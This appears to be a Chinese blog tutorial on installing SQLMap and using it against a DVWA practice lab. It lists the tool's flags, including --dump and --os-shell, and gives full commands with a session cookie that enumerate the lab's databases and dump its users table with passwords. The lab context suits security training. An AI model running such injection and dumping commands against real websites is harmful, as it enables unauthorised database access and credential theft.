SQLMap 安装及基本应用
一、SQLMap 简介
SQLmap 是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。
二、SQLMap 下载
官方网站下载: http://sqlmap.org/
这里选择Github去下载
三、win10下SQLMap安装
1、先安装好python环境,不管是2还是3版本都支持。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。
2、将下载好的 sqlmap-master.zip 压缩包,解压到自己需要的目录
3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py 即开启工具使用
四、SQLMap的常用参数
-u∶指定目标URL进行sql注入检测
--batch:自动去做问题应答
--cookie :当前会话的cookie值
--dbs: 查询当前网站所有数据库
-D:指定数据库名
--tables:查询数据库下的所有表名
-T:指定表名
--columns:指定查询所有字段
-C:指定字段的名称
--dump:查询并导出其数据,拖库
--current-db:获取当前数据库
--current-user :获取当前登录数据库用户名称
--users:查询数据库的所有用户
--password:查询数据库用户的密码
--os-shell:直接返回一个shell(如果存在的话)
-flush-session 刷新session文件
如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。
五、SQLMap的基本应用
基于DVWA靶场以下模块,进行SQLMap实操演示
1、注入判断 -u
输入:python sqlmap.py -u http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作--会报错,需要登录。
2、添加cookie绕过登录
python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low"。
运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch
通过以上结果可知,存在SQL注入点。
3、查询当下所有数据库
python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" --dbs --batch
4、查询指定库下的表名
python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa --tables
5、查指定表的所有字段
python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users --columns
6、查询字段内容
python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users -C user,password --dump
这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。
本文来自博客园,作者:刑之风,转载请注明原文链接:https://www.cnblogs.com/xingzhifeng/p/18702531
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库